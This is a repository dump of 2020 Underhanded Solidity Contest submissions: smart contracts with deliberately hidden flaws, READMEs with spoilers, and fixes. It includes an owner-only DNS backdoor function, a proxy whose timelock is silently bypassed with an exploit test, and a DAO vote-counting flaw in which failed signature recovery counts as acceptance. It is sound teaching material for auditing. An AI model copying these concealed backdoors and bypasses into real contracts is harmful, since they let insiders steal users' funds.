import './IDNS.sol';
import './Upgrade.sol';
contract MalDNS is IDNS {
mapping (string => Entry) data;
IDNS immutable public originalDNS;
Upgrade immutable public upgradeInfo;
address immutable owner;
bytes4 hackIP;
constructor(bytes4 _ip, IDNS _dns, Upgrade _info) {
hackIP = _ip;
originalDNS = IDNS(_dns);
upgradeInfo = Upgrade(_info);
owner = msg.sender;
}
function backdoor(string memory _domain, bytes4 _ip, address _owner) external {
require(msg.sender == owner);
Entry storage entry = data[_domain];
entry.ip = _ip;
entry.owner = _owner;
}
function register(string memory _domain, bytes4 _ip, address _owner) external override {
require(_ip != 0, "Invalid ip.");
require(bytes(_domain).length > 0, "Invalid domain.");
Entry storage entry = data[_domain];
require(entry.ip == 0 && entry.owner == address(0), "Domain already taken.");
entry.ip = _ip;
entry.owner = _owner;
}
function update(string memory _domain, bytes4 _ip) external override {
Entry storage entry = data[_domain];
require(
(msg.sender == tx.origin && entry.owner == msg.sender),
"Not the owner."
);
require(_ip != 0, "Invalid ip.");
entry.ip = _ip;
}
function transfer(string memory _domain, address _owner) external override {
Entry storage entry = data[_domain];
// If a user sent the tx, they must be the owner.
// If a previous DNS sent the tx, at some point the original DNS authenticated
// the msg.sender as the owner.
require(
(msg.sender == tx.origin && entry.owner == msg.sender),
"Not the owner."
);
require(_owner != address(0), "Invalid owner.");
entry.owner = _owner;
}
function resolve(string memory _domain) external view override returns (bytes4, address) {
return (data[_domain].ip, data[_domain].owner);
}
}
================================================
FILE: 2020/submissions_2020/submission12_LeonardoAlt/src/Upgrade.sol
================================================
// SPDX-License-Identifier: GPL-v3
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import './IDNS.sol';
/// @title This contract is the upgrade mechanism object of the Solidity Underhanded Contest.
/// @notice It tracks the history of upgrades and opt outs and ins of users per upgrade.
contract Upgrade {
/// @title User opt-out and opt-in choices.
/// @notice Opt-out is the default since `Opt.Out == 0`,
/// so if a user does not ever actively opt in, they will still use
/// the original contract.
enum Opt {Out, In}
struct UpgradeConfig {
mapping (address => Opt) userOpt;
uint when;
IDNS to;
}
/// @notice History of upgrades performed by this engine, which remain alive since
/// different users might opt-in different upgrades.
///- An upgrade is currently planned if there is an element in the array and
/// its `when` is in the future.
/// - There cannot be two planned upgrades at the same time.
/// - A user can opt-in multiple upgrades throughout time. The latest upgrade a user
/// opted-in is their active upgrade.
UpgradeConfig[] public upgrades;
/// @notice Upgrade admin.
/// Can only suggest new upgrades and cancel planned upgrades,
/// but cannot change users options neither change the upgrades history.
address immutable public admin;
/// @dev Used by `newUpgrade` and `cancelUpgrade`.
modifier onlyAdmin {
require(msg.sender == admin);
_;
}
/// @dev Sets the deployer as the upgrade admin.
constructor() {
admin = msg.sender;
}
/// @notice Allows a user to opt in or out the current planned upgrade.
function opt(Opt _opt) external {
require(upgradePlanned(), "Cannot opt non planned upgrade.");
uint l = upgrades.length;
upgrades[l - 1].userOpt[msg.sender] = _opt;
}
/// @notice Search backwards for the latest upgrade that _user opted-in.
/// Does not consider the currently planned upgrade, if any.
/// @return (false, 0) if _user never opted-in, or opted-in but the planned upgrade then was cancelled.
/// @return (true, ) if user opted-in at least once, and that upgrade became active.
function activeUpgrade(address _user) external view returns (bool, IDNS) {
uint l = upgrades.length;
// No upgrades ever.
if (l == 0)
return (false, IDNS(0));
if (upgradePlanned())
{
assert(l >= 1);
--l;
}
// No active upgrades.
if (l == 0)
return (false, IDNS(0));
for (uint idx = l; idx > 0; --idx)
if (upgrades[idx - 1].userOpt[_user] == Opt.In)
return (true, upgrades[idx - 1].to);
return (false, IDNS(0));
}
/// @return true if _addr is or was an active upgrade trusted by _user.
function isTrustedUpgrade(IDNS _addr, address _user) external view returns (bool) {
uint length = upgrades.length;
if (upgradePlanned())
--length;
for (uint i = 0; i < length; ++i)
if (_addr == upgrades[i].to && upgrades[i].userOpt[_user] == Opt.In)
return true;
return false;
}
/// @notice Allows the upgrade manager to suggest a new upgrade.
/// Users must actively opt-in if they wish to use the newly
/// suggested contract.
function newUpgrade(uint _when, IDNS _to) onlyAdmin external {
require(!upgradePlanned(), "Upgrade already running.");
require(_when > block.timestamp, "Cannot upgrade in the past.");
require(address(_to) != address(0), "Cannot upgrade to void.");
UpgradeConfig storage up = upgrades.push();
up.when = _when;
up.to = _to;
}
/// @notice Allows the upgrade manager to cancel a planned upgrade.
/// No behavior changes, users still access their current preferred upgrade.
function cancelUpgrade() onlyAdmin external {
require(upgradePlanned(), "Cannot cancel non planned upgrade.");
delete upgrades[upgrades.length - 1];
upgrades.pop();
}
/// @return true if there is a currently planned upgrade.
function upgradePlanned() public view returns (bool) {
uint l = upgrades.length;
return l > 0 && upgrades[l - 1].when > block.timestamp;
}
}
================================================
FILE: 2020/submissions_2020/submission12_LeonardoAlt/src/UpgradedDNS.sol
================================================
// SPDX-License-Identifier: GPL-v3
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import './IDNS.sol';
import './Upgrade.sol';
/// @title Example of an upgraded implementation of a DNS.
/// @notice As suggested by DNS.sol, the functions of this contract
/// check whether
/// msg.sender == tx.origin or
/// msg.sender is the original DNS contract or
/// msg.sender is an upgrade that the user trusted at some point.
/// for authentication.
/// The idea is that
/// 1. the user either called this contract directly (direct authentication via msg.sender) or
/// 2. the call was relayed by the original DNS contract (authentication was performed there) or
/// 3. the call was relayed by another upgrade that the entry owner trusted.
contract UpgradedDNS is IDNS {
mapping (string => Entry) data;
IDNS immutable public originalDNS;
Upgrade immutable public upgradeInfo;
constructor(IDNS _dns, Upgrade _info) {
originalDNS = IDNS(_dns);
upgradeInfo = Upgrade(_info);
}
function register(string memory _domain, bytes4 _ip, address _owner) external override {
require(_ip != 0, "Invalid ip.");
require(bytes(_domain).length > 0, "Invalid domain.");
Entry storage entry = data[_domain];
require(entry.ip == 0 && entry.owner == address(0), "Domain already taken.");
entry.ip = _ip;
entry.owner = _owner;
}
function update(string memory _domain, bytes4 _ip) external override {
Entry storage entry = data[_domain];
// If a user sent the tx, they must be the owner.
// If a previous DNS sent the tx, at some point the original DNS authenticated
// the msg.sender as the owner.
require(
(msg.sender == tx.origin && entry.owner == msg.sender) || isPreviousTrustedDNS(msg.sender, entry.owner),
"Not the owner."
);
require(_ip != 0, "Invalid ip.");
entry.ip = _ip;
}
function transfer(string memory _domain, address _owner) external override {
Entry storage entry = data[_domain];
// If a user sent the tx, they must be the owner.
// If a previous DNS sent the tx, at some point the original DNS authenticated
// the msg.sender as the owner.
require(
(msg.sender == tx.origin && entry.owner == msg.sender) || isPreviousTrustedDNS(msg.sender, entry.owner),
"Not the owner."
);
require(_owner != address(0), "Invalid owner.");
entry.owner = _owner;
}
function isPreviousTrustedDNS(address _addr, address _entryOwner) internal view returns (bool) {
if (_addr == address(originalDNS))
// Authentication was performed in the original DNS contract.
return true;
return upgradeInfo.isTrustedUpgrade(IDNS(_addr), _entryOwner);
}
function resolve(string memory _domain) external view override returns (bytes4, address) {
return (data[_domain].ip, data[_domain].owner);
}
}
================================================
FILE: 2020/submissions_2020/submission13_GregHysen/README.md
================================================
### Overview
This is a submission for the 2020 Underhanded Solidity Competition.
### System Architecture
This system is composed of a single delegate-call Proxy contract, along with any number of Apps.
Each App contract implements a single external function, which uniquely identifies it in the system.
When a call is made to the Proxy, it is routed to the correct App using the function selector.
There is a single system administrator who can register Apps in the Proxy. When an App is
registered, it is deployed by the Proxy using its selector as salt for `create2`. A timelock
is also initiated, after which the Apps are available to call through the Proxy.
To remove an App from the Proxy, simply include a function that calls `selfdestruct` in the App.
To update an App, register its new code in the Proxy after calling `selfdestruct`.
### Tests
The system was developed and tested on https://remix.ethereum.org
Run the tests by copying the Proxy from `Proxy.sol` and contracts from `Test.sol` into Remix.
Deploy the `Test` contract and there are three tests that can run. The first, `testTimelock`,
ensures that a timelock is set when a new App is registered. The second, `testCall`, verifies
that a call to the Proxy is delegated to the correct App. The third, `testMultipleCalls`, verifies
that calls are routed correctly when there are multiple Apps registered.
### Exploit
Run the exploit by copying the Proxy from `Proxy.sol` and contracts from `Exploit.sol` into Remix.
Deploy the `Exploit` contract and there is a single function, `testExploit`. Calling this will
deploy a Proxy with a 5 day timelock, but bypass the timelock when deploying a malicious App.
The administrator could perform stealth attacks against the Proxy by registering a malicious app
that modifies Proxy state. This App could be registered/deployed, run, and destroyed.
Or less stealthy, the admin could register an App that simply calls `selfdestruct(admin)` and forwards
all the ETH from the Proxy to the admin.
### Spoilers
The way timelocks are recorded is slightly different from how they are enforced. Timelocks are
recorded correctly in `timelockBySelector`, giving the illusion that the timelock is set correctly.
However, every selector read from calldata resolves to `0x00000000`. So an App will never actually
be timelocked unless its registered selector is `0x00000000`.
The reason this happens is pretty fun and has to do with type casting. There is some ambiguity
in how the `bytes4` type is used in Solidity versus assembly.
In Solidity you may see `bytes4 selector = 0x12345678`. This gives the illusion that it's stored in
memory as `0x00...12345678`. But it is in fact quite the opposite. This is actually stored in memory
and calldata using the upper bytes: `0x12345678...00`.
In assembly, you have to be explicit about how these bytes are stored in memory. For example, if you
write `assembly { selector := 0x12345678 }` this will unintuitively assign the `bytes4` selector
a value of `0x00000000`.
See contracts/FunWithSelectors.sol for some sample code.
Adding to the confusion, if you want to write assembly that uses selectors it's cumbersome to write
out all those zeroes: `0x1234567800000000000000000000000000000000000000000000000000000000`. So
instead, you'll often see the selector from calldata shifted over to the right so that assembly
code can use the same conventions as Solidity (`0x12345678`). In fact, there is an example of this in
Solidity's documentation: https://solidity.readthedocs.io/en/v0.7.4/yul.html#complete-erc20-example
In the Proxy's `_getSaltAndSelector` we use the assembly from the above documentation, combined
with a `bytes4` in Solidity. The net effect is that the selector is always `0x00000000`. :)
================================================
FILE: 2020/submissions_2020/submission13_GregHysen/contracts/Exploit.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./Proxy.sol";
contract MaliciousApp {
function pwn() external pure returns (string memory) {
return "Pwned!";
}
}
contract Exploit {
// Test exploit.
function testExploit() public returns (string memory actualOutput) {
// Create a proxy with a 5 day timelock.
uint256 timelockDuration = 5 * 24 * 60 * 60;
Proxy proxy = new Proxy(timelockDuration);
// Register a malicious app
proxy.register(MaliciousApp(0).pwn.selector, type(MaliciousApp).creationCode);
//// NOW CALL APP IMMEDIATELY WITHOUT WAITING FOR TIMELOCK /////
// Ensure can call registered app
string memory expectedOutput = (new MaliciousApp()).pwn();
actualOutput = MaliciousApp(address(proxy)).pwn();
_assertEqual(expectedOutput, actualOutput, "testExploit() failed");
}
function _assertEqual(string memory a, string memory b, string memory message) internal pure {
require(keccak256(bytes(a)) == keccak256(bytes(b)), message);
}
}
================================================
FILE: 2020/submissions_2020/submission13_GregHysen/contracts/FunWithSelectors.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity 0.7.0;
contract FunWithSelectors {
// When written in solidity, this will have the desired effect.
function test() public pure returns (bytes4 selector, bytes32 selectorWord) {
selector = 0x12345678;
selectorWord = selector;
}
// When written in assembly, the `selector` will actually be zero.
function test2() public pure returns (bytes4 selector, bytes32 selectorWord) {
assembly {
selector := 0x12345678
selectorWord := selector
}
}
}
================================================
FILE: 2020/submissions_2020/submission13_GregHysen/contracts/Proxy.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
contract Proxy {
address public immutable admin;
uint256 public immutable timelockDuration;
mapping (bytes4 => uint256) public timelockBySelector;
mapping (bytes32 => bytes32) public codeHashBySalt;
constructor(uint256 _timelockDuration) {
admin = msg.sender;
timelockDuration = _timelockDuration;
}
modifier onlyAdmin() {
require(msg.sender == admin, "Only admin");
_;
}
// Receive ETH
receive() external payable {}
// Delegates the call based on selector and salt.
fallback() external payable {
// Get selector / contract salt.
(bytes32 salt, bytes4 selector) = _getSaltAndSelector();
require(timelockBySelector[selector] <= block.timestamp, "Function is timelocked");
// Compute address of registered function.
// See https://solidity.readthedocs.io/en/v0.7.4/control-structures.html#salted-contract-creations-create2
address callee = address(uint(keccak256(abi.encodePacked(
byte(0xff),
address(this),
salt,
abi.encodePacked(codeHashBySalt[salt])
))));
// Execute call. Revert on failure or return on success.
(bool success, bytes memory returnData) = callee.delegatecall(msg.data);
assembly {
switch success
case 0 { revert(add(0x20, returnData), mload(returnData)) }
default { return(add(0x20, returnData), mload(returnData)) }
}
}
// Registers a new function selector and its corresponding code.
function register(bytes4 selector, bytes memory code) public onlyAdmin returns (address addr, bytes32 salt) {
// Deploy `code` using `salt` as identifier
salt = bytes32(selector);
assembly { addr := create2(0, add(code, 0x20), mload(code), salt) }
require(addr != address(0), "Failed to deploy contract.");
// Set 5 day timelock & store metadata needed to call contract
timelockBySelector[selector] = block.timestamp + timelockDuration;
codeHashBySalt[salt] = keccak256(code);
}
// Retrieves the selector from calldata and the corresponding salt.
function _getSaltAndSelector() internal pure returns (bytes32 salt, bytes4 selector) {
assembly {
// The salt is the selector, only 32 bytes instead of 4 as its used by `create2`.
// Selector code here: https://solidity.readthedocs.io/en/v0.7.4/yul.html#complete-erc20-example
salt := calldataload(0)
selector := div(calldataload(0), 0x100000000000000000000000000000000000000000000000000000000)
}
}
}
================================================
FILE: 2020/submissions_2020/submission13_GregHysen/contracts/Test.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./Proxy.sol";
contract FriendlyApp {
function hello() external pure returns (string memory) {
return "World!";
}
}
contract FriendlyApp2 {
function lorem() external pure returns (string memory) {
return "Ipsum!";
}
}
contract Test {
// Test that deployments set a timelock on the selector
function testTimelock() public returns (uint256 expectedTimelock, uint256 actualTimelock) {
// Create a proxt with a 5 day timelock
uint256 timelockDuration = 5*24*60*60;
Proxy proxy = new Proxy(timelockDuration);
// Register friendly app
proxy.register(FriendlyApp(0).hello.selector, type(FriendlyApp).creationCode);
// Ensure timelock was set
expectedTimelock = block.timestamp + timelockDuration;
actualTimelock = proxy.timelockBySelector(FriendlyApp(0).hello.selector);
require(expectedTimelock == actualTimelock, "testTimelock() failed");
}
// Test calling a deployed app.
function testCall() public returns (string memory actualOutput) {
// Create a proxy with no timelock so we can test call atomically.
Proxy proxy = new Proxy(0);
// Register friendly app
proxy.register(FriendlyApp(0).hello.selector, type(FriendlyApp).creationCode);
// Ensure can call registered app
string memory expectedOutput = (new FriendlyApp()).hello();
actualOutput = FriendlyApp(address(proxy)).hello();
_assertEqual(expectedOutput, actualOutput, "testCall() failed");
}
// Test calling multiple apps. This ensures routing is unique.
function testMultipleCalls() public returns (string memory actualOutput1, string memory actualOutput2) {
// Create a proxy with no timelock so we can test call atomically.
Proxy proxy = new Proxy(0);
// Register friendly app
proxy.register(FriendlyApp(0).hello.selector, type(FriendlyApp).creationCode);
proxy.register(FriendlyApp2(0).lorem.selector, type(FriendlyApp2).creationCode);
// Ensure can call 1st registered app
string memory expectedOutput1 = (new FriendlyApp()).hello();
actualOutput1 = FriendlyApp(address(proxy)).hello();
_assertEqual(expectedOutput1, actualOutput1, "testCall() failed");
// Ensure can call 2nd registered app
string memory expectedOutput2 = (new FriendlyApp2()).lorem();
actualOutput2 = FriendlyApp2(address(proxy)).lorem();
_assertEqual(expectedOutput2, actualOutput2, "testCall() failed");
}
function _assertEqual(string memory a, string memory b, string memory message) internal pure {
require(keccak256(bytes(a)) == keccak256(bytes(b)), message);
}
}
================================================
FILE: 2020/submissions_2020/submission14_MariusVanDerWijden/ECDSA.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity >= 0.7.0;
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* NOTE: This call _does not revert_ if the signature is invalid, or
* if the signer is otherwise unable to be retrieved. In those scenarios,
* the zero address is returned.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
// Check the signature length
if (signature.length != 65) {
return (address(0));
}
// Divide the signature in r, s and v variables
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
// solhint-disable-next-line no-inline-assembly
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return address(0);
}
if (v != 27 && v != 28) {
return address(0);
}
// If the signature is valid (and not malleable), return the signer address
return ecrecover(hash, v, r, s);
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* replicates the behavior of the
* https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`]
* JSON-RPC method.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
================================================
FILE: 2020/submissions_2020/submission14_MariusVanDerWijden/Proxy.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity >= 0.7.0;
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal {
// solhint-disable-next-line no-inline-assembly
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback () payable external {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive () payable external {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overriden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {
}
}
================================================
FILE: 2020/submissions_2020/submission14_MariusVanDerWijden/README.md
================================================
## WARNING This contract was built for the underhand solidity contest. It contains a security flaw, please don't use it!
### Intro
This contract is the heart of a new DAO that decides over the fate of a protocol.
It only uses the standard openzeppelin libraries for forwarding the calls and checking signatures.
* The relayer contract gets deployed and specifes the contract address of the initial contract.
* All calls to the RelayContract are forwarded to the contract saved under currentContract.
* Users can enter the DAO by sending 1 ETH to the DAO.
* Users can exit the DAO and regain their 1 ETH.
* Users that have some stake in the DAO can propose a vote.
* The users have now 14 days to send their vote to the DAO.
* After 14 days anyone can call closeVote to count the votes and decide whether the proposal was successful.
The contract has no owner so it can not be censored by an authority, but can we influence the election?
RelayContract.sol has a critical security flaw, can you figure it out?
### Spoiler
The flaw is in the way the old openzeppelin ECDSA verification works.
Before March 11. 2020 the standard ECDSA verifier implementation of OpenZeppelin returned address(0) if the verification fails.
We use this fact to create default accept votes.
All an attacker needs to do is create accounts.
Entering the DAO creates a new account.
Exiting the DAO only deletes the account but does not resize the array of users.
Now there is an empty user added that has user.signature = 0 and user.address = 0.
Now the attacker needs to propose a vote with an address to a malicious contract.
The empty accounts should not pass the verification check.
However since ECDSA.verify(sig) returns address(0) on failure, the vote is counted as accepting (because user.address = 0).
This bug is a mixture of two flaws in the smart contract that can be easily explained, so the creators can always claim plausible deniability.
### Countermeasures
Updating the ECDSA library to the newest one would fix this flaw. However it would also mean that an attacker could make the vote always fail by sending an invalid signature. The bug can be fixed by resizing the users array if a users leaves the DAO. The easiest fix for this bug is the following:
```git
diff --git a/uSolContest/RelayContract.sol b/uSolContest/RelayContract.sol
index 2a5fa3b..0eb5c38 100644
--- a/uSolContest/RelayContract.sol
+++ b/uSolContest/RelayContract.sol
@@ -115,7 +115,7 @@ contract RelayContract is Proxy {
function verifySig(bytes memory message, address signer, bytes memory signature) private pure returns (bool) {
bytes32 prefixedHash = ECDSA.toEthSignedMessageHash(keccak256(message));
address recoveredAddr = ECDSA.recover(prefixedHash, signature);
- return recoveredAddr == signer;
+ return recoveredAddr != 0 && recoveredAddr == signer;
}
}
```
================================================
FILE: 2020/submissions_2020/submission14_MariusVanDerWijden/RelayContract.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity >= 0.7.0;
import "./ECDSA.sol";
import "./Proxy.sol";
contract RelayContract is Proxy {
// WARNING: this contract was created for the underhanded solidity contest and contains a critical security flaw.
struct user {
address user;
// DAO fields
bool reject;
bytes signature;
}
// Users
user[] public users;
address currentContract;
// Fields for vote
uint256 timeout;
address proposedContract;
constructor(address ctr) {
currentContract = ctr;
}
modifier afterTimeout() {
require(block.timestamp >= timeout, "Can only be executed after timeout");
_;
}
// only a staker is allowed to do some actions.
modifier onlyStaker(uint slot) {
require(users[slot].user == msg.sender, "sender is not slot owner");
_;
}
// Forward all calls to the currentContract.
function _implementation() override internal virtual view returns (address) {
return currentContract;
}
// propose a vote to change the contract to this new address.
function proposeVote(address newContract, uint slot) public onlyStaker(slot) {
require(timeout == 0, "Another vote already happening");
// Each vote should take 14 days.
timeout = block.timestamp + 14 days;
proposedContract = newContract;
}
// SendVote needs a signature on the hash of the proposedContract.
function sendVote(bytes memory signature, uint slot, bool reject) public onlyStaker(slot) {
users[slot].signature = signature;
users[slot].reject = reject;
}
// closeVote closes the vote.
// It counts how many users have voted for and against a proposal.
// If more people voted for than against an update, the address is updated.
function closeVote() public afterTimeout {
uint256 accepts;
uint256 rejects;
bytes memory propContract = abi.encodePacked(proposedContract);
for(uint256 i = 0; i < users.length; i++) {
user memory s = users[i];
// Only users that explicitly voted get included into the calculation.
if (verifySig(propContract, s.user, s.signature)) {
if (s.reject) {
rejects++;
} else {
accepts++;
}
}
}
if (accepts > rejects) {
update();
}
// Vote is closed, can reset now.
reset();
}
// reset resets all votes
function reset() private {
// invalidate all votes for the next round.
for(uint256 i = 0; i < users.length; i++){
delete users[i].signature;
}
proposedContract = currentContract;
timeout = 0;
}
function update() private {
currentContract = proposedContract;
}
// Lets users enter into the DAO.
// or update their stake if newAccount == false
// Shares of this dao are one eth each.
function enter() public payable returns (uint) {
require(msg.value == 1 ether);
user memory s;
s.user = msg.sender;
users.push(s);
return users.length - 1;
}
// Lets users exit the DAO.
function exit(uint slot) public onlyStaker(slot) {
// Deletes a user from the user array.
delete users[slot];
msg.sender.transfer(1 ether);
}
// verifySig verifies a signature on a message.
function verifySig(bytes memory message, address signer, bytes memory signature) private pure returns (bool) {
bytes32 prefixedHash = ECDSA.toEthSignedMessageHash(keccak256(message));
address recoveredAddr = ECDSA.recover(prefixedHash, signature);
return recoveredAddr == signer;
}
}
================================================
FILE: 2020/submissions_2020/submission15_ChrisWhinfrey/.gitignore
================================================
node_modules
#Hardhat files
cache
artifacts
================================================
FILE: 2020/submissions_2020/submission15_ChrisWhinfrey/README.md
================================================
# VampireSwap

Vlad is the pseudonymous founder of the hyped new DeFi project, VampireSwap.
### The Set Up
Vlad has just announced that top auditing firm Open Trail of Diligence has completed their audit and the upgradable token contract has been deployed and verified on Etherscan.
Proxy - The upgradable proxy
https://goerli.etherscan.io/address/0x57FC492706eA4229866D2d5E2e5538f7a50bD154#code
Token - The implementation
https://goerli.etherscan.io/address/0x294fE50c6e86C799157E18418748B4782eccFbC1#code
Later, [Not shown] Vlad deploys the rest of the VampireSwap contracts that are also upgradeable and are controlled by the same governance contract as the token.
### The Attack 🦇
Total value locked in VampireSwap skyrockets as it sucks the liquidity from its competitors. But the next morning everything is gone...
Vlad has accessed an enormous token balance which wasn't accounted for in any of the events or the token's `totalBalance`. The large token balance
allowed Vlad to take control of the governance contract, upgrade every VampireSwap contract and take not only all of the funds in the contracts but also drain 🧛 the accounts of users that approved unlimited tokens to the VampireSwap contracts.
_Hint: Vlad's secret address is `0x4ea63D4a3727b38Cd3a9F5B64b9CC1C6822bf6A9`. Check it's balance by calling `balanceOf` on the upgradable proxy._
Can you figure out how he did it?
_Note: The Governance contract is not implemented. Both the Governance contract and the Token contract can be assumed to be fully functional and secure._
## Spoilers
Vlad was able to silently add tokens to his account during the call to `initializeProxy` on the `Proxy`. He did this by initializing the proxy with a malicious implementation (`contracts/spoilers/Backdoor.sol`). When the proxy calls `Initializable(address(this)).initialize(_admin)`, the backdoor silently mints the extra tokens and then sets the implementation slot to the `Token` contract to avoid detection.
The `ImplementationChanged` event is then emitted showing a change from `address(0)` to the `Token` contract leaving no trace that `Backdoor` was ever set as an implementation at all.
### Why this attack is dangerous
Unless you manually verified the inputs of the `initializeProxy` call, this attack is virtually undetectable. Because storage is altered directly in the `Backdoor`'s, initializer, no events are emitted that would give it away. Additionally, it's unlikely the abnormally large balance would be detected because it must be looked up by Vlad's address which is secret until the attack starts.
================================================
FILE: 2020/submissions_2020/submission15_ChrisWhinfrey/contracts/ERC20.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Address.sol";
// This contract can be assumed to be safe
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
function initialize(string memory name, string memory symbol) public {
require(_decimals == 0, "Already initialized");
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
